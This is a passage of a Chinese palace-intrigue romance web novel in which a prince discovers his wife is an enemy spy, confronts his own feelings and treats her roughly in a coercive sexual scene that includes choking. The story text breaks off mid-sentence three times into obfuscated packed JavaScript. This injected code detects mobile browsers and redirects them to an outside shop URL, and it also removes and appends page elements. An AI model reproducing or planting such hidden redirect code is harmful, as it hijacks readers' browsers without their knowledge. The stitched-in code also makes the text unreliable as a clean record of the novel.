关上暗格,确认无任何痕迹之后,才对着门外之人道:“让人将她带去橙苑,我会去那里见她。” “是,王爷。”符叔得命后便福身退下。 橙苑是他名下在外一处私宅,知晓之人不多,他也从不去那地方,一直都做空宅置放。 季辞靠在椅背之上,脑海中回想过那幅画像,又忆起她推开自己,挡在自己身前,那寒剑刺入身体的一幕。 他记得那时她流了很多血,将那腰间的芙蓉玉坠染红,后来放下她,他亦发觉自己那枚玉扳指也红如血玉一般。 他抬手捂住自己的眼睛,无力地躺了半个时辰,才终于起身,往橙苑而去。 此次出行,他只带了天去一人。橙苑在京郊之地,偏远而隐蔽。 槿红在那苑中,双手握紧,站在一棵柳树下,不安地来回踱步。 她在祁王府附近窥视多日,好不容易才 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简单几句话让槿红额头上冷汗直流,她吞了吞口水,道:“王爷,我如今走投无路,才选择了这下下之策。王妃真名乃姜秋叶,并非那邱子叶。她嫌我碍事,便要杀我,将我赶走。” “可飞燕阁容不下任务失败的细作,我一回去便被他们施以刑法,一路追杀于我,我无处可去,便想到了王爷。我实在见不得那女人将王爷玩弄于鼓掌之中,才来将一切告发。” 季辞不动声色,冷肃道:“是吗?你难道不是因觉得我会庇护你于飞燕阁之下,才寻了过来么?” 槿红怔住,没想到他竟一眼便看破自己的心机,她捏了拳,最后抬手将自己头上幂篱摘下,露出了自己原本样貌。 曾经干净的脸上,现在布上一块巨大的黑斑,令人作呕。 槿红不甘道:“王爷,这便是这些时日飞燕阁在我脸上留下的痕迹,我恨极了他们,自然希望王爷能将其覆灭。当初王爷在骊国安差的暗桩,便是姜秋叶透露给飞燕阁,才致使那五人被抓。” “王爷!若我有半句虚言,天雷劈我!” 季辞没有发话,只是感受着庭院中的风刮擦过他的脸,像一个个巴掌一般拍上。 槿红愈发心慌,拿不准他对姜秋叶态度,终于道:“王爷,那日回府途中,行刺王爷的刺客,是我!” 他瞳孔迅速收缩,呼吸突然沉重起来,眯了眯眼,面不改色道:“什么意思?” 她脸上带着担忧与害怕,可如今既已脱口,便不容得她停下,“王爷,那日的行刺,是王妃。不对,是姜秋叶,指使我所做!” “她熟悉王爷的护卫,为我提前安排好所有撤离路线,所以我才能如此快逃脱,而后不被发现一丝踪迹!她都是因为知晓自己杀害簌簌一事将暴露,便想出了此法,以获得王爷信任。” “而当时,她杀了京杉书院的张仪,与我说起此事时被簌簌丫鬟清灵撞破,杀了清灵后,她以为簌簌知晓了自己身份,才将簌簌再次杀害!” 张仪他自然知晓,曾经飞燕阁铜鬼嘴里吐出的盛京暗桩,便是那张仪。 只是他们找到此人时,张仪已自杀。 槿红面上更加癫狂,继续披露道:“当初救出涿竣王,杀死那十五名护卫之人,也是姜秋叶!王爷可还记得,她曾经手心受到的伤,便是与那护卫相搏时留下!” 季辞大袖之下的拳头死死攥紧,指甲在掌心留下深深压痕。 那掌心的伤,他自然也记得。 当时所见,是紧握双刃所致,可她却说是厨房中的刀伤。厨房之刀,乃是单刃。虽然有疑虑,可当初却被她的娇嗔给敷衍了过去。 稳住自己的声音,道:“本王,凭什么相信你?” 槿红皱眉,她确实毫无证据证明这些事,可长久思索过后,她突然间想到了什么。 立即抬头,将自己上衣衣襟拉开,露出肩膀。只见一道横在皮肤之上的疤痕,有些许丑陋,可能看出,那是一道剑伤。 “王爷,这便是证据!那日行刺,我与天去大人相打斗,落了下风,被一剑划伤了胳膊!这便是那日留下的伤痕!” “况且,以王爷的聪慧,若是回忆一番,自然能知我所言为真!” 86.失望 第八十六章 “王妃真名乃姜秋叶,并非那邱子叶。” “那日的行刺,是王妃。不对,是姜秋叶,指使我所做!” “她都是因为知晓自己杀害簌簌一事将暴露,便想出了此法,以获得王爷信任。” 槿红的话语如烙铁一般印在季辞脑中,挥之不去。 他让人将槿红看守在橙苑,也没敢回祁王府,而是去了刑部平日办公之处。 打发走所有人,他独自一人入了屋,将门关上后,站在屋中,扫视着四周一切。 姜秋叶! 原来她叫姜秋叶。 他的叶儿,其实叫姜秋叶。 片刻沉默后,他愤怒大吼一声,抽中腰间宝剑,一把向案几挥劈而去,那实木书案瞬间轰然断裂成两半,案上文书全部掉落在地,屋中一团混乱。 可是这样也消解不了他心中怒火。 他将宝剑掷地,左手捂住心口大笑起来,肩膀抽动,无法停歇。 忽感指尖冰凉,抬起手端详着拇指上的玉扳指,莹白透光,似乎一切成为了一个笑话。他将其取下,摩挲着上面精雕细琢的叶片,大怒着将其扔了出去,那玉扳指掉落在地,却没有碎裂,而是滚动一番,落入了书柜之下。 太可笑了,实在太可笑!他一生精明,却被她美人计所俘获,戏弄于他。 怨她吗? 不怨。 他怨自己,怨自己眼拙耳聋。明知她心机深沉,当初对他做出下药之举,他竟然还如此愚蠢地着了道,为她求了赐婚,给了她王妃的地位与尊荣,甚至交出了他一颗赤忱之心。 然而所有的一切都是她设下的骗局。 或许天底下没有比他更蠢之人,到了如今,竟然不是因她的背叛而发怒,而是因她心中从未有过他。 她嘴中没有一句真话!说什么爱,什么心悦?她那般一个无心之人,一个飞燕阁细作,谎话张口而来,怎会有心? 她竟然做出让人刺杀他,赌上自己性命挡剑之事。 她就是个疯女!疯女!!! 他不是早就知道了吗?明明知晓她本性,却仍这般深陷其中,无法自拔。 在他因她而热血沸腾之时,因她而着急忙慌之时,她是否心底暗自嘲笑于他。笑他的愚蠢,笑他的天真。 是啊,他实在太过天真。看不清这镜花水月,黄粱一梦。 他是被弃之人,父皇母后也好,兄长也罢,他生于倾颓皇室,怎会得那人间真情?午后庆安寺看到那一家三口,虽是平民,却真实而幸福。没有政治权势纷争,没有一场又一场的骗局。 他羡慕极了。 当时见到那一家平民时,他真的想要放下一切,与他的小妻子如那一般,平淡而安稳地度过一生,白头偕老。一切都无所谓了,他为她彻底丢弃底线又如何?只要她心中有他,便不奢求其他。 然而,一切皆是妄想!皆是她的骗局! 她不可能有心! 季辞抽去了浑身的力气,靠坐在书架之前,回忆着过往一切,明明早就有迹可循。他抬手捂住双眼,苦笑。 不得不感叹,她的演技太好,他从一开始,便入了她的局。 …… 姜秋叶从安阳公主府回到祁王府后,便听下人说季辞下午很早便回来过一趟,只是后来或许是有公务,又离开了王府。 她本心中不安,似是某种突如其来的预感一般,让她心跳加快不止。 回到归鸿院寝室之中,突然发现了床榻之上放了一包东西。这定然不会是明月这些下人所放,这么说是季辞放的。 她走上前,慢慢打开那包裹,发现竟是一件珍珠制成的外衣,心中赫然欢喜。 他知晓自己偏爱珍珠,定是回府路上见到,便买了回来赠予她。 这么说,他这是向自己示好,准备与她和好了? 姜秋叶本放缓的心又剧烈跳动起来,站起来原地蹦了几下,脸上浮现出近日难见的真笑。 她立刻将那珍珠衣披在外衫之上,走到铜镜前细细观摩。镜中美人如芙蓉一般,配上这成串的泛光珍珠,更是仙女降世。 明月进入寝室时,见到的便是她少女般羞涩的脸颊。 “这衣裳是王爷特意买回赠予王妃的,与王妃竟是这般相配,相信王爷见到,定然心中欢喜。” 姜秋叶“嗯”了一声,继续对着铜镜转圈,欣喜不已。 “两日后便是王爷生辰,到时候王妃可穿上此衣,为王爷庆生。”明月见她模样,捂着嘴一笑,提议道。 “生辰?”姜秋叶一怔,似乎才反应过来,她竟一直不知季辞生辰,“两日后便是了......” 她转身看着明月问道:“王爷他往日,都如何庆生?” 明月沉吟一番道:“回王妃,听闻王爷儿时,启元皇后还在,生辰每次都操办得极其盛大。只是自迁都之后,便没见过王爷为自己过过生辰,只在那日入宫,陪着太皇太后用一顿膳。” 姜秋叶颔首,没想到仅有两日的时间,那自然已来不及为他办生辰宴。可礼物,却是要好好准备。 可仅仅两日,她能准备何物? 想到今日送她的珍珠衣,她心中便开了花一般。来了动力,立即入了庖厨,和厨子一同备了一桌晚膳,而后又如往常那般,站到王府门口等他归来。 可是到了亥时,竟也不见人来。想到下人告知,午后季辞原是回了府,后来又因公务离去,或许今夜也是因公务太忙,竟连派人回来告知一声都能忘了。 本以为他或许还在气自己,可想到这人连珍珠衣都买了给她,总不至于还会生气。 心中还是有些忧虑,便派了人去刑部询问一番。 好在未等太久,下人便从刑部回来,告知季辞因公去往了京郊,今明两日都不归家。她再次询问一番,得知后日会入宫拜见太皇太后,到时回府接她一同入宫。 听到此后,她才放下了刚悬起来的心。 正好季辞不在府中,姜秋叶乐得了清闲,也趁这两日,寻着明月学了针线活,准备为他缝双靴子。 只是这女红实在非她所长,明明与明月做了同样的动作,可手中之物却是如此不同,那绣花针戳破了她的手指多次,最后缝制出来的靴子看起来仍是歪歪扭扭。 整整缝制了两日,才终于做出一双还算像样的靴子。 是日,姜秋叶以藕粉软烟罗做底,最外层穿上了那件珍珠衣,如此装扮下,美人便是桃羞杏让,琼花玉貌。 等接她的马车来到了王府门口,她再也按捺不住,直接飞奔而出,冲上了马车。 “夫君——” 可是车厢中却空无一人,面上笑容消失,心中骤然空荡无比。天去这才有些尴尬上前,道:“王妃,王爷将从京郊回,因着时间紧迫,便自己先行入了宫,让属下前来接王妃。” 若说心中不感失落,那必然不可能,她哦了一声,端庄坐好,不再看天去,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季桑离开后,季辞被赵氏留下,在寿康宫说话。无所事事的姜秋叶便在附近随意晃悠起来。她走到莲池旁看着水中鱼儿,听到远处传来的丝竹之声,有些许熟悉。将身子随意往石柱一靠,便开始发呆。 季辞与赵氏交谈完,离了寿康宫,向宫人打听一番后,往莲池去寻姜秋叶。当他正靠近莲池,在一片竹林之后时,忽见梁王季康先行去到了姜秋叶身边。 季辞眉头一皱,停下了脚步,站在原地,眯起眼睛,看着远处的两人。他想摩挲一番平时手上的扳指,低头却发现指间空荡。 抬头只见姜秋叶摆出与平日不同的神情,百无聊赖地一瞥走近她的季康,道:“你怎么了来了?” 或许是听乐太过认真,又或是心中装的事情太多,竟然没有敏锐地察觉附近多出的另一人。 季康听闻后则是愣住,在原地停滞了片刻后,便摸着鼻子笑了起来,讽刺地看着她道:“多日不见皇婶,皇婶便对侄儿不再演戏了?” 姜秋叶一瞅他,“噗嗤”笑了一声,她以为四周无人,便直接道:“我只对,对我有价值之人演戏。梁王如今还不是储君,也并非皇帝,你现在既然给不了我皇后的位子,那我可没这么多精力陪你。” 一丝风晃过身前的竹叶,光影随之摇摆。 季辞以为自己听闻这样的话后会愤怒,会不甘,或是会难过。 可此刻他却异常平静。 她已经带给他太多惊喜,似乎更多的刺激已经无法再摇起他心底的一丝波澜。 87.无情 第八十七章 “有利?”季康听闻后大笑,“皇婶,我季康果然没看错人,你可真是一条毒蛇。不知若是我那皇叔知晓你满口谎言的真面目,你当如何?” 姜秋叶看着池中争抢鱼食的金鱼,满不在乎道:“天知地知,你知我知,我们都不说。他怎会知晓?” 季康收回笑容,定定看着她,忽而想到她曾为了皇叔拼上自己的性命挡剑,而后在围猎场又那般娇嗔作态,终于问出了他的问题,“叶儿妹妹,你不会......对我皇叔,动了心了吧?” 季辞听闻一滞,死死盯着前方背对着他的女人。 姜秋叶垂眸,动心?其实她早就意识到了,她所有的情绪都被他所牵扯,她为了留在他的身边,用尽一切手段,不惜利用他那份真情实意。 只是她看向季康,一个不相关的人,她定然不会说出自己的心意,只是嘲讽一笑道:“小侄子难道认为......我是个有心之人吗?” 季康沉吟片刻后一笑,从袖中拿出那支小玉芙蓉簪,抬起手,轻轻将那簪子插入她的鬓发,慢慢欣赏着。 “我曾在叶儿妹妹处取走的小玉簪,如今还给妹妹。” 季辞眼角忍不住抽搐,看着她发间那玉簪,用尽全身力气才控制住颤抖的双手。他记得,季康说过,那玉簪是他心爱女人所有。 他也记得,姜秋叶曾骗他,说那玉簪或许是梁王妃曾在金品阁买了同样一支。 他再也看不下去,听不下去他们之间的对话,皇婶与侄子,简直是令人发笑的关系。他直接转身离去,只带走一缕微风。 姜秋叶摸了摸头顶的簪子,忽而感受到什么,转身往身后竹林看去,却见那里空空荡荡,只能看到被风吹得晃动的竹叶。 或许是错觉。 近日的她心神不宁,要么太过迟钝,要么太过敏感。 她转过头,抿了抿唇,抬手将头顶玉簪取下,放在手中看了看,最后往莲花池中用力一扔。只见那玉簪“扑通”一声入了池中,再也不见其影。 季康看着那莲花池中央没有动弹,也不说一句话。 姜秋叶笑了一声,一字一句,清晰道:“梁王殿下,以往,我或许对那皇后之位感兴趣,所以才想着利用于你。可如今,祁王一心对我,我发过誓,往后良善做人,不再欺骗于他。我如今便不愿与你过多纠缠,也不想再觊觎那皇后之位。以后,还请梁王,将我当作真正的皇婶。” 季康面色凝重,确是没想到她竟然连皇后之位都不要了。 他自嘲地苦笑一下,只能看着她直接转身离去。 远方丝竹声还在悠悠传来,她不知,那是他刻意安排的淮山北部民乐。 这个小偷,对于他来说,她从那一刻便入了他的记忆。可对她来说,他不过一买龙须糖的顾客,曾经匆匆一面,不值一提。 …… 姜秋叶离开莲花池后寻去了寿康宫,以为季辞还未与赵氏聊完。 结果听女官说,他早已离去。 叹了一口气,便在宫女的引领下直接离了宫,在宫外见到了自家马车,天去还站在马车前等待。 姜秋叶有预感一般,直接冲上前入了马车,见到季辞果然在马车之中看书等待自己,她顿时松了一口气。 季辞见她上了车,坐到自己身边靠近他,便抬手敲了敲车壁,示意回府。 一路上两人无言,季辞似乎看书看得极其认真,竟未给她一个多余的眼神,与在寿康宫时截然不同。 姜秋叶感到气氛有些尴尬,想寻些话题,可却不知从何开口。 眼见着路程行了一半,她才问道:“夫君这几日都在城郊忙甚?竟一直不回王府住。” 季辞视线没有离开书,只是将页面翻过,轻声道:“一起案件罢了,怎么?你想知道细节?” 她摇了摇头,似乎感到了他情绪的不对,又发声道:“没有,叶儿只是想念夫君罢了。” “是吗?”他终于抬起头,一瞥而过她的头顶,又重新回到手上的书中。 她见他似乎不愿多说,便也不敢再多问。 只是心觉气馁,难道他还在为之前赵婉儿一事,在生她气? 她以为,他送了自己珍珠衣,便是将此事揭过,不再计较。可如今看来,事实似乎并非如此。 心底另一个声音却告诉她,或许他只是这些时日太过疲惫,没有过多精力。 她勉强压下心中异样,不动声色地抬手摸了摸胸口曾经受了剑伤之处,便又开始隐隐作痛起来。 两人回到王府后已过半个时辰,季辞先行下了马车,直接往书房而去。姜秋叶在他身后一路跟随,看着他将书房门关上。 今日明明是他的生辰。 愣在原地许久,而后回了寝室,将这两日赶制出来的靴子拿上,往书房而去。站在门口,她不敢直接推门而入,便先抬起手轻轻敲了敲房门。 “进。” 听到他的声音后,她才松了口气,推门而入。季辞正坐于书案之前,放下手中毛笔,手指轻轻敲着桌面。 姜秋叶将门关上后,深吸一口气,调整了一番表情,转过头笑着向他走去,“夫君。” “你来做甚?” 她坐到他的身侧,从身后拿出那双靴子,放于桌上,又推至他的面前,甜笑道:“我来做甚?今日夫君生辰,叶儿为夫君准备了礼物。原本想着若是能为夫君办宴席就好了,可是时间却有些紧张,等明年吧。” “明年......”季辞静静垂眸看着面前那双做工极差的靴子,黑色皮子,上面的金丝线歪歪扭扭。她女红一向不好,他还记得那只“鸡飞狗跳”荷包,被他带了许久,唐太傅甚至因此嘲笑过他。 突然书房门再次被敲响,在季辞允许后,是符叔。他先向两人行礼,道:“王爷,橙苑那边......” “那边我随后会去,你先下去。”季辞直接将符叔的话打断。 符叔见状弓腰退了下去。 “橙苑?什么橙苑?”姜秋叶虽执掌过府中中馈,却未仔细看过季辞所有的私产,便不知橙苑这处宅子。 “没什么,不过是公务罢了。” 姜秋叶哦了一声,见他收到她亲手缝制的礼物,似乎也并不如从前那般欣喜,有些失落道:“夫君是否不喜我的礼物啊。也是,我女红一向差,实在难以拿得出手。” 他将案上靴子拿起,在手中观摩一番道:“没有,我很喜欢,叶儿有心了。” “喜欢就好。”她终于又笑了起来,而后又忽然想到什么,眉间有些忧虑,“对了夫君,你可得小心梁王。我总感觉,这个人心怀不轨,或许他会为了皇位,对你做出什么。” “是吗?”季辞看回她的眼神,见她那真诚的模样,心中更是感叹她那惊人的演技。 因为有利,所以演戏么? 如今,他实在不想当面将她揭穿。他曾容忍她的疯魔,犯下的罪行,可他身为大晋的祁王,却不能容忍她满嘴谎言,做出对大晋有害之事。 她不过是一个骊国细作,一个飞燕阁送来的美人计。 即使在情爱道路上,他手足无措,可他愈发无法忍受她彻头彻尾的欺骗。 他承认自己被她所迷惑,却不允许自己再沉沦于她所塑造的梦境之中。 姜秋叶原本想着若是季康当上皇帝,或许能利用他来作为一层对抗言无的庇护。可如今她认清了自己的心意,便想坚定站在季辞这边。虽然她总是无力,可无论怎样,至少她不会允许季康伤害他。 “嗯,我不知他会做出何事,但小心他总归无错。” 她看着他,试探道:“夫君,虽说我知晓你定然不会做皇帝,可若是季康为了帝位有一日要杀你,你会反击吗?” “他是皇兄的儿子,本就有权利继承皇位。若是嫌我碍事,我便归隐封地。” 姜秋叶心中不禁着急,心觉他傻。归隐封地?那不等于完全放权! 季康那副模样对自己势在必得,或许根本不会在意季辞的选择。 难道他就这般任人鱼肉? 况且若是他彻底不要权利地位,那还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967912|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何庇护于她,要是言无出手,她岂不要坐以待毙? 季辞看着她眼中那细微的不安,伸出手抚了抚她的眼角,冷笑道:“好了,我就随口一说。放心,我既然承诺过庇护于你,便会做到。他若要杀我,我亦有其他方式反击。” 姜秋叶听闻后一怔,终于放下心来。没想到季辞这木头人,竟也会开玩笑。 她甜笑着,伸出手牵住他,这才突然发现了不同寻常,她低下头,见他指间空荡。他平日里一直戴着她送的玉扳指,怎么如今却不见了。 “夫君,你的扳指呢?”姜秋叶抬头望向他。 季辞低头看了看自己手,也未抽回,道:“摘下来后,不小心弄丢了。” “啊......真的吗?” 她抓着他的手,想到这些时日他的冷淡,连扳指都不见,心中压抑许久的委屈瞬间涌出,紧接着红了眼眶,泪水从眼中源源不断溢出。 季辞无动于衷地看着,第一次站在看客的角度,坐在戏台下一般,冷漠地欣赏审视着她在台上的表演,赞叹她这说来便来的泪水。 想当初,他便是被她这泪水不知骗过多少次。 不过她也确实高明,毕竟是飞燕阁银鬼。 为了飞燕阁,为了骊国,不仅仅出卖身体,还能豁出性命。少有细作能做到她这般不在乎一切的同时,还有如此出神入化的演技。也难怪,飞燕阁派不了别人,却独独派了她来到自己身边。 姜秋叶拿出怀中的帕子,将眼泪擦净。她自我安慰一番,定然真的是季辞无意间弄丢,她抬眸勉强一笑,“没关系,下次我再送你一枚扳指。” 季辞抬手,将她眼角剩余的泪珠抹净,道:“有劳了,我的王妃。我近日事情太多,交杂一起,脑中乱麻一团,什么都没能做好。” 她眨了眨那双泛着水光的桃花眼,自己回忆一番最近,两人唯一的争执,便是赵婉儿一事,可他既然主动送珍珠衣示好,那便是将此事过去。 如今他的冷淡,或许还真是近日繁忙的公务。 她鼓了鼓勇气,贴上前,跨坐到他身上,终于时隔多日,抱住他精瘦的腰,抬起头撒娇道:“简兮哥哥莫要担忧,那些都是身外之物。简兮哥哥如此厉害,定然很快便能解决。” 他抬起手,抚了抚她的头顶,道:“嗯,承你吉言。” 姜秋叶见他温柔的反应,心中更加大胆,知他平日最喜她吻他喉结,便倾身将唇贴上。他喉结上下滚动,感受着突如其来的温热,呼吸沉重些许。 只是低下头,看着似乎动情的她,心中却不耻。 她那张娇俏而单纯的面孔在他眼里开始扭曲碎裂。 她是一个戏子,一个疯女,一个虚伪之人,一个无心之人,口中没有一句真话。她可以出卖身体,不在乎任何人的性命,亦可以丢弃自己性命。 今日,她是他的王妃,他是大晋的祁王,手握重权,对她有利可图,她便可以睡在自己身侧。 明日,若换成另一个对她有利的男人,她便能睡去他的身侧。比如承诺给她皇后之位的季康,等到季康上位那日,她定然便抛下自己,去寻别的男人。 毕竟他做不了皇帝,即使她曾想方设法诌他造反,他至多也只是一个亲王。她曾嫌弃自己的懦弱无能,如今看来,他确实无能。 而比起亲王,一个国家的皇帝,可以带给她的利益明显更大。 明年的生辰...... 过于可笑。 明年,她还会在自己身边么?怕是寻了另一人,再将自己出卖给他,以此上位罢。 他们还有明年么? 想到此处,他心脏突生一阵钝痛,那痛楚麻痹了他所有的感官,蔓延至全身,双手无法自控地开始颤抖。 他真的想杀了她! 他想狠狠报复,让她知晓欺骗自己的下场。将她下入诏狱,轮番酷刑招供背后的情报,再夺去她的性命。 如以往那些被捕的细作一般。 为了大晋,为了季氏王朝,为了曾经母后遗体前许诺下的誓言。 88.割裂 第八十八章 “叶儿,到了至今,除了那几桩事,你可还有什么瞒着我?”季辞冷漠而冰冷地看着她。 姜秋叶不明白,为何他总问起。 她直起身子,看着他摇摇头。 而他却更加冰冷,浑身散发着一股危险的气息。 姜秋叶皱眉,感觉到了他愈发严重的情绪。 难道他知晓了她所有的欺骗? 可若他知晓,白日里还怎会用那温柔的态度对她。 “夫君,你今日心情似乎很差啊。你怎会突然这般问我?”她看起来有些忐忑。 季辞失望地阖了阖眼,又睁开,道:“还行。就是最近搞砸许多事,又忽然想到之前圣上为了夺取军权,而被欺骗一事。” 她点头,想着他平日如此忙碌,心中或许压力就比常人大得多。再加上悬在他头顶那把刀,不仅仅来自皇帝,还有来自皇侄,以及自成党派的王宫重臣。 他再出神入化,也只是一个凡人罢了,自然也会因着这些压力而烦躁。 她晃了晃他的衣袖,对着他做出一个可爱的鬼脸,又娇嗔道:“夫君,莫要难过,你想叶儿做甚?能让你心情好起来。” 他盯着她没有移走视线,“是吗?做甚都行?” 她用力点点头,“只要夫君开心,让叶儿做甚,叶儿便做甚。” 他扯了扯嘴角,没有说话。 自从簌簌案件之后,他整个人都处在巨大的矛盾之中,似要将他撕裂。 一边是道德与理智的认知,一边是对她无法自控的爱意。 姜秋叶重新将吻落上他的耳边,她坐在他的身上,努力地点火,想要安抚他烦躁的内心。她慢慢游移着,吻上他的面颊,轻声道:“夫君,叶儿会一直陪着你。” 这句话在季辞耳中感到的是极致的虚伪。 屋外不知何时开始下起了暴雨,带着剧烈的狂风,吹到本紧闭的窗棂发出嘶响。 她解开他的汗巾,当试图将手伸进他的亵裤之时,他用力抓过她的手腕,盯着她的眼睛,道:“真的吗?叶儿。这句话莫不是骗我的。” 姜秋叶呆住,感受到手腕传来的疼痛,一阵心虚,不敢犹疑片刻,便立刻道:“自然是真的,叶儿承诺过的事,往后定会做到。” 季辞目光阴冷,声音幽幽飘入她的耳中,“这可是你说的,若叶儿再骗我,那为夫便永远也不会原谅叶儿了。” 再骗他,那他是不是便应真的,直接将她下入诏狱了。 “简兮哥哥......” 姜秋叶被他的眼神惊到,还没反应过来,季辞便一把将书案上所有的文件与笔墨全部扫到了地上,发出一声巨响。那墨汁溅出,染脏了认真整理过的公文。 他将她暴力地压上书案,背后的冰凉与坚硬让她吃痛,不由喊了他一声。他却没有停止,直接撕开她的衣服,那件珍珠衣上的细线断开,一颗颗珍珠洒落一地,滚至房间各个角落,发出清脆的碰撞声。 她低下头震惊地看着被毁坏的珍珠衣,“衣服坏了!” “坏了再买就是。” “简兮哥哥!季辞!等等......” 他侵略一般地直接俯身而上,没有理会她的叫喊。不同于以往的温柔,他没有吻她,只是一手桎梏住她的脖颈,一手死死掐住她纤细的腰身,极其暴力的动作让她吃痛难忍。 汗液从他额上滴落在她胸口,他低下头,看着那道剑伤留下的疤痕。 曾经的内疚之心如今变成了讽刺,让他更加粗暴起来,绷着脸,眼中不带一丝情欲。 她曾经对他说,他们会有自己的孩子,为了妻子,为了孩子,他不可以自暴自弃。他曾为她沸腾血液,愿意为了她放低姿态,如此卑微。 他不求她心中有他,不求她再良善做人,只想要她不欺骗于他,可是她连此都无法做到。 他是如此爱她,为了她,他愿丢弃亲手修订的律法,她若能真心爱他,他大可不再管这王朝,她想要什么情报,他双手奉上。 他对她的爱,真的......太过卑微,小心翼翼。 他如今已经发觉,他真的做不到,做不到对待其他细作那般对她。他受不了她的委屈,受不了她的悲痛。 他甚至不敢开口质问,捅破这层窗户纸。他害怕把她吓跑了,会不会便不再回来。 屋外的暴雨摧残着娇花,姜秋叶很努力地承受着,听着那雨滴噼里啪啦的声响。书案上几颗珍珠滚过到她身下,有些膈应得她发疼,她叫了一声,紧接着竟流出了泪水。 季辞看着她因自己的愤怒而留下的泪,似乎这才是真实的她,真实的哭泣。 只有这般用力地拥有她,才能找寻到一丝来自于她身上的逼真。 他还是停下了动作,将那些在她身下的珍珠全部挥开至地下。 看着满是泪水的姜秋叶,发丝黏在她的脸颊,不着寸缕,而自己依旧衣冠整洁,他最终低下头,轻轻低喃一声“叶儿”,而后吻去她眼角的泪水,又安抚地吻上她的唇。 “叶儿,你不喜欢吗?” 姜秋叶上气不接下气,发不出声音。 季辞抬手扶住她的发顶,语气轻柔,“这不就是叶儿想要的么?若叶儿不想,让为夫停下,为夫便不做了。” 她有些反应不过来,咬着唇摇了摇头,忍着脊背后因书案传来的疼痛,又重新搂住他的肩背。 “夫、夫君。” 这些时日,她其实很想他。 他已经多久没碰过她,似乎已经忘记。 可这般举动,在季辞眼中看起来,便又是属于细作的勾引,敌国为他献上的美人计。 忽然眼中有些酸涩,他蹙眉,抬手将她翻过身,一只大手放在她纤长而洁白的脖颈之上,似乎只要微微用力,便能杀了这个骗了他一切的细作。 她逐渐感觉到颈部受紧的手,开始窒息,她忍不住抓上他的手腕,却没用力,在她以为他要杀了自己时,他又将她放开。 姜秋叶咳了几声,几滴像是汗液的东西滴上了她漂亮的蝴蝶骨,那温度又不似汗液。 她无法集中精力去思索,想转过头去看他,却被死死摁住,被他用手捂住眼睛。 不知多久后,屋外的暴雨与狂风才停歇下来。 她仍被他背对着压在书案上,无法回头。季辞依旧衣冠楚楚,却抱住她,很久没有松开。 他大口地喘气,不知该如何是好。 他放不开她,真的放不开。 即便此刻将她揣入怀中,柴吞入腹,似乎也没有真正拥有她。 明明她是他的敌人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他轻手轻脚将她清洗干净,又抱回床榻,再寻过药膏为她上了药,帮她换上干净衣物,才跟随着上了床,将她抱在怀中。 姜秋叶本就是从小训练到大的精英杀手,体质自然不同常人,这些承受过后,似乎也没什么。她在沐浴过后,便恢复了过来。 缩在他的怀中,听着他沉稳的心跳,心中逐渐安稳平息。 自从赵婉儿一事被他撞破后,她有多久没能躺在他的怀中。 刚才书房中的他虽让她惧怕,她差点以为自己要被他杀死。这般试想,他若要自己死,她或许真的不会有丝毫反抗。 而如今事后,却也只剩下娇羞。 烛光早已熄灭,月光之下,她抬眸看了看他的下颌,抬手抚平他蹙紧的眉头,轻声道:“简兮哥哥,你还好吗?” “嗯,我没事。” 她搂紧了他的腰,甜笑着歪头哄他:“简兮哥哥,莫要再难过了哦。” 季辞紧了紧怀抱,又吻上她的额头,而后讨好一般顺着吻过她的鼻梁,唇瓣,有些僵硬道:“抱歉,刚才没控制住,竟伤了你。” 她摇摇头,回了一个轻吻在他唇边。 他轻轻拍着她的后背,安抚道:“睡吧。” 姜秋叶笑了笑,因为这和好如初让她心中欢喜,刚才书房那番也不算白受,将头埋在他的胸前,闭上双眼。 正要迷迷糊糊入睡时,忽而又听到他在耳边低语道:“叶儿今日承诺过的,永远陪着为夫,不许食言。” 姜秋叶忍不住勾起了唇角,抬头再次吻上他的下巴,道:“叶儿永远陪着简兮哥哥,叶儿不能没有简兮哥哥。” 季辞叹息,眼中闪过一丝浅浅的冷笑。 但愿这一次,她说的是真话。 89.毒发 第八十九章 翌日清晨,姜秋叶醒来时身边床榻已空,季辞应是早已上朝。她摸了摸冰凉的床,将手放直试图伸展,这才感受到浑身被碾过一番的酸痛。 不过好在与他和好,她心中亦如屋外春光明媚一般。 在膳堂用完早膳后,忽见案上几只蜜桃,伸手拿过,有些惊喜道:“如今不在这月份,哪儿来的桃?” 明月上前笑道:“王妃,这是这两日宫中送来的,往日这桃都结在盛夏,竟没想到淑妃娘娘宫中的桃竟结得如此早。听闻她尝了觉香甜,便给各家王公贵族都送上些许。” “王妃想吃桃吗?奴婢这就帮王妃削上。” “等等。”姜秋叶看着手中的蜜桃,似是想到何,“将府中的桃都送到厨房,备着我待会儿用。” “是,王妃。” 明月脸红地一笑,调侃道:“王妃难道是准备给王爷做甚?” 姜秋叶娇着剜了一眼她,起身往院中而去。她带着明月在院中摘了几箩筐桃花后,便入了小厨房。 回忆着菜谱,失败一次后又再次尝试,终于将一道春水生果子制成。 只见这春水生粉嫩,晶莹剔透,泛着淡淡光芒,光滑而柔软。果子中含着一朵桃花,娇苞待放,顶部是撒上的些许淡黄桂花碎屑。 明月看呆了眼,咽了咽口水,“王妃还会做这样的甜品?” “嗯。”她将果子放好,装入盒中,看了外面时辰,差不多快过了晌午,“春水生,桃夭琉璃果子。” 